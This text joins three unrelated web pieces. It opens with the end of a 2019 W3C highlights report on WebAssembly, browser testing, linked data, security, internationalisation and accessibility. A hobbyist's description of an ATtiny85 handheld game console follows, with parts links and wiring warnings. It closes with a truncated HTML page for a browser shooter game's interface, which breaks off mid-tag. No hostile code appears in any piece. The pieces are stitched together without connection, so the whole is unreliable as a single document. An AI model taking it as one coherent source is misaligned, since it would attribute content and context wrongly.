agent features and APIs. The W3C team is looking at related work incubated in the W3C GPU for the Web (WebGPU) Community Group which is poised to transition to a W3C Working Group. A preliminary draft charter is available. WebAssembly All WebAssembly specifications WebAssembly improves Web performance and power by being a virtual machine and execution environment enabling loaded pages to run native (compiled) code. It is deployed in Firefox, Edge, Safari and Chrome. The specification will soon reach Candidate Recommendation. WebAssembly enables near-native performance, optimized load time, and perhaps most importantly, a compilation target for existing code bases. While it has a small number of native types, much of the performance increase relative to Javascript derives from its use of consistent typing. WebAssembly leverages decades of optimization for compiled languages and the byte code is optimized for compactness and streaming (the web page starts executing while the rest of the code downloads). Network and API access all occurs through accompanying Javascript libraries -- the security model is identical to that of Javascript. Requirements gathering and language development occur in the Community Group while the Working Group manages test development, community review and progression of specifications on the Recommendation Track. Testing Browser testing plays a critical role in the growth of the Web by: Improving the reliability of Web technology definitions; Improving the quality of implementations of these technologies by helping vendors to detect bugs in their products; Improving the data available to Web developers on known bugs and deficiencies of Web technologies by publishing results of these tests. Browser Testing and Tools The Browser Testing and Tools Working Group is developing WebDriver version 2, having published last year the W3C Recommendation of WebDriver. WebDriver acts as a remote control interface that enables introspection and control of user agents, provides a platform- and language-neutral wire protocol as a way for out-of-process programs to remotely instruct the behavior of Web, and emulates the actions of a real person using the browser. WebPlatform Tests The WebPlatform Tests project now provides a mechanism which allows to fully automate tests that previously needed to be run manually: TestDriver. TestDriver enables sending trusted key and mouse events, sending complex series of trusted pointer and key interactions for things like in-content drag-and-drop or pinch zoom, and even file upload. Since 2014 W3C began work on this coordinated open-source effort to build a cross-browser test suite for the Web Platform, which WHATWG, and all major browsers adopted. Web of Data All Data specifications There have been several great success stories around the standardization of data on the web over the past year. Verifiable Claims seems to have significant uptake. It is also significant that the Distributed Identifier WG charter has received numerous favorable reviews, and was just recently launched. JSON-LD has been a major success with the large deployment on Web sites via schema.org. JSON-LD 1.1 completed technical work, about to transition to CR More than 25% of websites today include schema.org data in JSON-LD The Web of Things description is in CR since May, making use of JSON-LD Verifiable Credentials data model is in CR since July, also making use of JSON-LD Continued strong interest in decentralized identifiers Engagement from the TAG with reframing core documents, such as Ethical Web Principles, to include data on the web within their scope Data is increasingly important for all organizations, especially with the rise of IoT and Big Data. W3C has a mature and extensive suite of standards relating to data that were developed over two decades of experience, with plans for further work on making it easier for developers to work with graph data and knowledge graphs. Linked Data is about the use of URIs as names for things, the ability to dereference these URIs to get further information and to include links to other data. There are ever-increasing sources of open Linked Data on the Web, as well as data services that are restricted to the suppliers and consumers of those services. The digital transformation of industry is seeking to exploit advanced digital technologies. This will facilitate businesses to integrate horizontally along the supply and value chains, and vertically from the factory floor to the office floor. W3C is seeking to make it easier to support enterprise-wide data management and governance, reflecting the strategic importance of data to modern businesses. Traditional approaches to data have focused on tabular databases (SQL/RDBMS), Comma Separated Value (CSV) files, and data embedded in PDF documents and spreadsheets. We're now in midst of a major shift to graph data with nodes and labeled directed links between them. Graph data is: Faster than using SQL and associated JOIN operations More favorable to integrating data from heterogeneous sources Better suited to situations where the data model is evolving In the wake of the recent W3C Workshop on Graph Data we are in the process of launching a Graph Standardization Business Group to provide a business perspective with use cases and requirements, to coordinate technical standards work and liaisons with external organizations. Web for All Security, Privacy, Identity All Security specifications, all Privacy specifications Authentication on the Web As the WebAuthn Level 1 W3C Recommendation published last March is seeing wide implementation and adoption of strong cryptographic authentication, work is proceeding on Level 2. The open standard Web API gives native authentication technology built into native platforms, browsers, operating systems (including mobile) and hardware, offering protection against hacking, credential theft, phishing attacks, thus aiming to end the era of passwords as a security construct. You may read more in our March press release. Privacy An increasing number of W3C specifications are benefitting from Privacy and Security review; there are security and privacy aspects to every specification. Early review is essential. Working with the TAG, the Privacy Interest Group has updated the Self-Review Questionnaire: Security and Privacy. Other recent work of the group includes public blogging further to the exploration of anti-patterns in standards and permission prompts. Security The Web Application Security Working Group adopted Feature Policy, aiming to allow developers to selectively enable, disable, or modify the behavior of some of these browser features and APIs within their application; and Fetch Metadata, aiming to provide servers with enough information to make a priori decisions about whether or not to service a request based on the way it was made, and the context in which it will be used. The Web Payment Security Interest Group, launched last April, convenes members from W3C, EMVCo, and the FIDO Alliance to discuss cooperative work to enhance the security and interoperability of Web payments (read more about payments). Internationalization (i18n) All Internationalization specifications, educational articles related to Internationalization, spec developers checklist Only a quarter or so current Web users use English online and that proportion will continue to decrease as the Web reaches more and more communities of limited English proficiency. If the Web is to live up to the "World Wide" portion of its name, and for the Web to truly work for stakeholders all around the world engaging with content in various languages, it must support the needs of worldwide users as they engage with content in the various languages. The growth of epublishing also brings requirements for new features and improved typography on the Web. It is important to ensure the needs of local communities are captured. The W3C Internationalization Initiative was set up to increase in-house resources dedicated to accelerating progress in making the World Wide Web "worldwide" by gathering user requirements, supporting developers, and education & outreach. For an overview of current projects see the i18n radar. W3C's Internationalization efforts progressed on a number of fronts recently: Requirements: New African and European language groups will work on the gap analysis, errata and layout requirements. Gap analysis: Japanese, Devanagari, Bengali, Tamil, Lao, Khmer, Javanese, and Ethiopic updated in the gap-analysis documents. Layout requirements document: notable progress tracked in the Southeast Asian Task Force while work continues on Chinese layout requirements. Developer support: Spec reviews: the i18n WG continues active review of specifications of the WHATWG and other W3C Working Groups. Short review checklist: easy way to begin a self-review to help spec developers understand what aspects of their spec are likely to need attention for internationalization, and points them to more detailed checklists for the relevant topics. It also helps those reviewing specs for i18n issues. Strings on the Web: Language and Direction Metadata lays out issues and discusses potential solutions for passing information about language and direction with strings in JSON or other data formats. The document was rewritten for clarity, and expanded. The group is collaborating with the JSON-LD and Web Publishing groups to develop a plan for updating RDF, JSON-LD and related specifications to handle metadata for base direction of text (bidi). User-friendly test format: a new format was developed for Internationalization Test Suite tests, which displays helpful information about how the test works. This particularly useful because those tests are pointed to by educational materials and gap-analysis documents. Web Platform Tests: a large number of tests in the i18n test suite have been ported to the WPT repository, including: css-counter-styles, css-ruby, css-syntax, css-test, css-text-decor, css-writing-modes, and css-pseudo. Education & outreach: (for all educational materials, see the HTML & CSS Authoring Techniques) Web Accessibility All Accessibility specifications, WAI resources The Web Accessibility Initiative supports W3C's Web for All mission. Recent achievements include: Education and training: Inaccessibility of CAPTCHA updated to bring our analysis and recommendations up to date with CAPTCHA practice today, concluding two years of extensive work and invaluable input from the public (read more on the W3C Blog Learn why your web content and applications should be accessible. The Education and Outreach Working Group has completed revision and updating of the Business Case for Digital Accessibility. Accessibility guidelines: The Accessibility Guidelines Working Group has continued to update WCAG Techniques and Understanding WCAG 2.1; and published a Candidate Recommendation of Accessibility Conformance Testing Rules Format 1.0 to improve inter-rater reliability when evaluating conformance of web content to WCAG An updated charter is being developed to host work on "Silver", the next generation accessibility guidelines (WCAG 2.2) There are accessibility aspects to most specifications. Check your work with the FAST checklist. Outreach to the world W3C Developer Relations To foster the excellent feedback loop between Web Standards development and Web developers, and to grow participation from that diverse community, recent W3C Developer Relations activities include: @w3cdevs tracks the enormous amount of work happening across W3C W3C Track during the Web Conference 2019 in San Francisco Tech videos: W3C published the 2019 Web Games Workshop videos The 16 September 2019 Developer Meetup in Fukuoka, Japan, is open to all and will combine a set of technical demos prepared by W3C groups, and a series of talks on a selected set of W3C technologies and projects W3C is involved with Mozilla, Google, Samsung, Microsoft and Bocoup in the organization of ViewSource 2019 in Amsterdam (read more on the W3C Blog) W3C Training In partnership with EdX, W3C's MOOC training program, W3Cx offers a complete "Front-End Web Developer" (FEWD) professional certificate program that consists of a suite of five courses on the foundational languages that power the Web: HTML5, CSS and JavaScript. We count nearly 900K students from all over the world. Translations Many Web users rely on translations of documents developed at W3C whose official language is English. W3C is extremely grateful to the continuous efforts of its community in ensuring our various deliverables in general, and in our specifications in particular, are made available in other languages, for free, ensuring their exposure to a much more diverse set of readers. Last Spring we developed a more robust system, a new listing of translations of W3C specifications and updated the instructions on how to contribute to our translation efforts. W3C Liaisons Liaisons and coordination with numerous organizations and Standards Development Organizations (SDOs) is crucial for W3C to: make sure standards are interoperable coordinate our respective agenda in Internet governance: W3C participates in ICANN, GIPO, IGF, the I* organizations (ICANN, IETF, ISOC, IAB). ensure at the government liaison level that our standards work is officially recognized when important to our membership so that products based on them (often done by our members) are part of procurement orders. W3C has ARO/PAS status with ISO. W3C participates in the EU MSP and Rolling Plan on Standardization ensure the global set of Web and Internet standards form a compatible stack of technologies, at the technical and policy level (patent regime, fragmentation, use in policy making) promote Standards adoption equally by the industry, the public sector, and the public at large Coralie Mercier, Editor, W3C Marketing & Communications $Id: Overview.html,v 1.60 2019/10/15 12:05:52 coralie Exp $ Copyright © 2019 W3C ® (MIT, ERCIM, Keio, Beihang) Usage policies apply.
cheungbx
gametiny --------------------------------------------------------------------------- I was inspired by the mini game consoles based on the energy efficieng 3V Attiny85 MCU that can run for hours on a CR2032 3V button battery. Attiny Joypad created by Daniel Champagne.. (Electro L.I.B) 2018 GPL V3 is a great platform with the 4 way directional buttons/joystick and another fire button to write games on. The other platform called Attiny Arcade created by webbloggles is also a great mini game console with the simplicity of having only two buttons. Both platforms inspired me to create something taking the best from both worlds. This game board I called gametiny is based on the Attiny Joypad created by Daniel Champagne. I modified it to add a header for USBasp programmer that doubles up as a socket for the OLED plus adding a switch to pull PB3 to ground. This allows the interrupt codes to work for both PB1 and PB3, making it easier to convert games written for the Attiny arcade to work on Attiny joypad. Schematics and games converted to work on gametiny can be found here https://github.com/cheungbx/gametiny Links Original Tiny Joypad design by Daniel Champagne. https://sites.google.com/view/arduino-collectionLinks Original Attiny Arcade keychain kit http://webboggles.com/attiny85-game-kit-assembly-instructions/ I converted these games for the AttinyArcade (originally created by Andy Jackson - Twitter: @andyhighnumber) to work for gametiny. https://github.com/andyhighnumber/Attiny-Arduino-Games Arduino board driver for attiny85 https://raw.githubusercontent.com/damellis/attiny/ide-1.6.x-boards-manager/package_damellis_attiny_index.json schematics and source codes in https://github.com/cheungbx/gametiny I purchased the parts from these taobao links. 128x64 i2c mono OLED - https://item.taobao.com/item.htm?spm=a1z09.2.0.0.52cd2e8dEH1bEe&id=553116768996&_u=i106a08oda4a USBasp programmer https://detail.tmall.com/item.htm?id=573399213944&spm=a1z09.2.0.0.67002e8dEmFVw9&_u=i106a08o8c9c attiny 85 DIP8 chips https://item.taobao.com/item.htm?spm=a1z09.2.0.0.2e622e8dl6mZNt&id=35831130850&_u=i106a08o4917 buttons and other misc. items - https://item.taobao.com/item.htm?spm=a1z09.2.0.0.52cd2e8dEH1bEe&id=552220368876&_u=i106a08oc0d5 Transistors from HK Shumshuipo - Ip Liu Street electronic shops. *** WARNING *** Inserting the battery or the OLED or the header in the wrong direction may cause permanent damage to the ATTiny85 chip and/or the OLED, and/or the USB port of your computer Beware of different pin layout of OLED from different manfacturers that may swap the positions of VCC and GND, and SCL and SDA. ATtiny85 boards with USB ports are not suitable for this project. The bootloader on such boards uses up almost half of the program memory space with insufficient space for game program. Unless you know how to solder surface mount components (SMD), buy the raw/bare dual in line ATtin85 for this project. and use an IC socket. Programming the ATtiny85 is a bit tricky. Not every Arduino UNO, NANO board will work. Clone Nano/Uno from China may not work. USBasp programmer is preferred. You need to create the cable to connect the Tiny Boy header to the USBasp header as shown in the schematics at the bottom right *** TIPS *** Game buttons are all 6x6 tap-tic buttons. The up/down/left/right buttons can be replaced by a 5-direction mini joystick-like integrated button. Use small PC speakers or buzzers without an internal beeper circuit as sound output, Test out the circuit on a breadboard first before soldering on a circuit board. Use laminated (isolated) wire for connection between points. Use the small soldering tip and apply flux.
Ronald106
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aiptag.cmd.display = aiptag.cmd.display || []; </script> <!-- Fonts --> <link href="/~/https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700" rel="stylesheet"> <link href="css/app.dacc77a5.css" rel="stylesheet"><meta name="ROBOTS" content="NOINDEX, NOFOLLOW"/> </head> <body> <div id='preroll-wrapper'> <div id="preroll"></div> </div> <div id="fb-root"></div> <canvas tabindex='1' id='cvs'></canvas> <div id='game-area-wrapper' style='display: none' oncontextmenu='return false;'> <div id='game-touch-area'></div> <!-- Class Select --> <div id='ui-role-menu-wrapper'> <div id='ui-role-menu'> <div id='ui-role-header'></div> <div id='ui-role-body'></div> <div id='ui-role-footer'> <div id='ui-role-footer-desc' data-l10n='game-select-class'>SELECT A CLASS</div> <div id='ui-role-footer-enter'>ENTER GAME (20)</div> </div> </div> </div> <div id='ui-game' class='click-through'> <div id='tablet-console'></div> <div id='ui-center'> <div id='ui-game-menu'> <div id='btn-game-tabs' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-settings' class='btn-game-tab-select btn-game-menu btn-game-menu-selected btn-darken' data-tab='settings'></a> <div class='btn-double-row game-menu-icon-static settings-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-keybinds' class='btn-game-tab-select btn-game-menu btn-darken' data-tab='keybinds'></a> <div class='btn-double-row game-menu-icon-static keybind-icon'></div> </div> </div> <div id='ui-game-tab-settings' class='ui-game-tab'> <a id='btn-game-fullscreen' class='btn-fullscreen-toggle btn-game-menu btn-darken' data-l10n='game-full-screen'>Full Screen</a> <div id='btn-touch-styles' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-move-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle movement-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-aim-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle target-icon'></div> </div> </div> <a id='btn-game-aim-line' class='btn-game-menu btn-darken locked-on-icon' data-l10n='game-aim-line'>Aim Line</a> <a id='btn-game-sound' class='btn-sound-toggle btn-game-menu btn-darken audio-on-icon' data-l10n='game-sound'>Sound</a> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-master-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-sfx-volume'>SFX Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-sound-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-music-volume'>Music Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-music-volume"> </div> <a id='btn-game-quit' class='btn-quit btn-game-menu btn-darken' data-l10n='game-quit-game'>Quit Game</a> </div> <div id='ui-game-tab-keybinds' class='ui-game-tab'> <div id='ui-keybind-list' class='js-keybind-list'></div> <a class='js-btn-keybind-restore btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> <a id='btn-game-resume' class='btn-game-menu btn-darken' data-l10n='game-return-to-game'>Return to Game</a> </div> </div> <div id='big-map' class='js-ui-map-show'> <div id='big-map-collision'></div> <div id='big-map-close'></div> </div> <div id='ui-emotes' class='ui-emote-wheel'> <div id='ui-emote-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-key='middle' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-key='top' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-key='right' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-key='bottom' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-left' class='ui-emote-left ui-emote-quarter ui-emote-parent' data-key='left' data-id='4'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> </div> <div id='ui-team-pings' class='ui-emote-wheel'> <div id='ui-team-ping-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom-left' class='ui-emote-bottom-left ui-emote-eighth ui-emote-parent' data-id='4'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> <div id='ui-team-ping-top-left' class='ui-emote-top-left ui-emote-eighth ui-emote-parent' data-id='5'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> </div> <div id='ui-team-indicators' class='js-ui-map-hidden js-desktop-ui-hud-show'> <div class='ui-team-indicator ui-indicator-main' data-id='0'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='1'> <div class='ui-team-indicator-pos ui-background-purple'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='2'> <div class='ui-team-indicator-pos ui-background-cyan'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='3'> <div class='ui-team-indicator-pos ui-background-orange'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='4'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-ping' data-id='0'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='0'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='1'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='1'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='2'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='2'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='3'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='3'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='4'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='4'></div> </div> <div id='ui-right-center' class='ui-right-center-desktop js-ui-map-hidden'> <div id='ui-medical-interactive'> <div id='ui-loot-bandage' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-bandage'>Bandage</div> <div class='tooltip-description'><span data-l10n='game-bandage-tooltip'>Left-click to restore 15 health.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-healthkit' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-healthkit'>Med Kit</div> <div class='tooltip-description'><span data-l10n='game-healthkit-tooltip'>Left-click to restore 100 health.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-soda' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-soda'>Soda</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-chocolateBox' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-chocolateBox'>ChocolateBox</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span><br><span data-l10n='game-chocolateBox-tooltip'>Inmune to frenemy effect for 20s.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-painkiller' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-painkiller'>Pills</div> <div class='tooltip-description'><span data-l10n='game-painkiller-tooltip'>Left-click to boost adrenaline by 50.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-flask' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-flask'>Flask</div> <div class='tooltip-description'><span data-l10n='game-flask-tooltip'>Left-click for freeze damage immunity for 20 seconds.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> </div> <div id='ui-ammo-interactive'> <div id='ui-loot-50AE' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-50AE'></div> <div class='tooltip-description'><span data-l10n='game-50AE-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(30,30,30,0.75)'></div> </div> <div id='ui-loot-9mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-9mm'></div> <div class='tooltip-description'><span data-l10n='game-9mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,153,0,0.75)'></div> </div> <div id='ui-loot-308sub' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-308sub'></div> <div class='tooltip-description'><span data-l10n='game-308sub-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(49,56,0,0.75)'></div> </div> <div id='ui-loot-12gauge' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-12gauge'></div> <div class='tooltip-description'><span data-l10n='game-12gauge-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,0,0,0.75)'></div> </div> <div id='ui-loot-flare' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-flare'></div> <div class='tooltip-description'><span data-l10n='game-flare-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,85,0,0.75)'></div> </div> <div id='ui-loot-762mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-762mm'></div> <div class='tooltip-description'><span data-l10n='game-762mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(0,102,255,0.75)'></div> </div> <div id='ui-loot-45acp' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-45acp'></div> <div class='tooltip-description'><span data-l10n='game-45acp-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(121,0,255,0.75)'></div> </div> <div id='ui-loot-556mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-556mm'></div> <div class='tooltip-description'><span data-l10n='game-556mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(3,123,0,0.75)'></div> </div> <div id='ui-loot-40mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-40mm'></div> <div class='tooltip-description'><span data-l10n='game-40mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(12,221,171,0.75)'></div> </div> </div> <div id='ui-emote-button'></div> </div> <div id='ui-top-left' class='js-ui-hud-show click-through'> <div id='ui-team' class='js-ui-mobile-map-hidden'> <div class='ui-team-member ui-bg-standard' data-id='0'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-yellow'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='1'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-purple'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='2'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-cyan'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='3'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-orange'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> </div> </div> <div id='ui-map-wrapper' class='ui-map-wrapper-desktop click-through'> <div id='ui-map-container'> <div id='ui-map-info' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-gas-icon' class='gas-icon'></div> <div id='ui-gas-timer'></div> </div> <div id='ui-spec-counter' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-spec-counter-icon'></div> <div id='ui-spec-counter-number'></div> </div> <div id='ui-settings-container-desktop' class='js-ui-desktop-map-hidden'> <div id='ui-map-expand-desktop' class='ui-map-expand ui-settings-button'> <img id='mag-glass-white' src=''></img> </div> <div id='ui-map-minimize' class='ui-settings-button js-ui-map-hidden'> <img id='ui-minimize-img' src=''></img> </div> </div> <div id='ui-settings-container-mobile' class='js-ui-mobile-map-hidden'> <div id='ui-alive-info'> <div id='ui-alive-icon' class='ui-map-icon alive-icon'></div> <div id='ui-map-counter-default' class='js-ui-players-alive'>0</div> <div id='ui-map-counter-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span>:<span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> </div> <div id='ui-map-expand-mobile' class='ui-map-expand ui-settings-button'></div> </div> </div> </div> <div id='ui-menu-display' class='ui-settings-button prop-event'></div> <div id='ui-kill-leader-container'> <div id='ui-kill-leader-wrapper' class='js-ui-map-hidden js-ui-hud-show hide-on-mobile'> <div id='ui-kill-leader-name'>Waiting for new leader</div> <div id='ui-kill-leader-icon'></div> <div id='ui-kill-leader-count'>0</div> </div> </div> <div id='ui-killfeed-wrapper'> <div id='ui-killfeed' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-killfeed-contents'></div> </div> </div> <div id='ui-leaderboard-wrapper'> <div id='ui-leaderboard' class='js-ui-hud-show'> <div id='ui-leaderboard-alive'> <span class='ui-players-alive js-ui-players-alive'>0</span> </div> <div id='ui-leaderboard-alive-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span> <span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> <div class='ui-leaderboard-header' data-l10n='game-alive'>Alive</div> </div> <div id='ui-kill-counter-wrapper' class='js-ui-map-show'> <div id='ui-kill-counter'> <span class='ui-player-kills js-ui-player-kills'>0</span> </div> <div class='ui-kill-counter-header' data-l10n='game-kills'>Kills</div> </div> </div> <div id='ui-top-center-scopes-wrapper'> <div id='ui-top-center-scopes' class='click-through js-ui-map-hidden'> <div id='ui-scope-1xscope' class='ui-scope ui-zoom'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>1<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-2xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>2<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-4xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>4<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-8xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>8<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-15xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>15<span class='ui-zoom-append'>x</span></div> </div> </div> </div> </div> <div id='ui-top-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-waiting-text' class='top-center-text'><span data-l10n='game-waiting-for-players'>Waiting for players</span>...</div> <div id='ui-spectate-text' class='top-center-text ui-spectate-mode'> <div class='spectate-text spectate-desc' 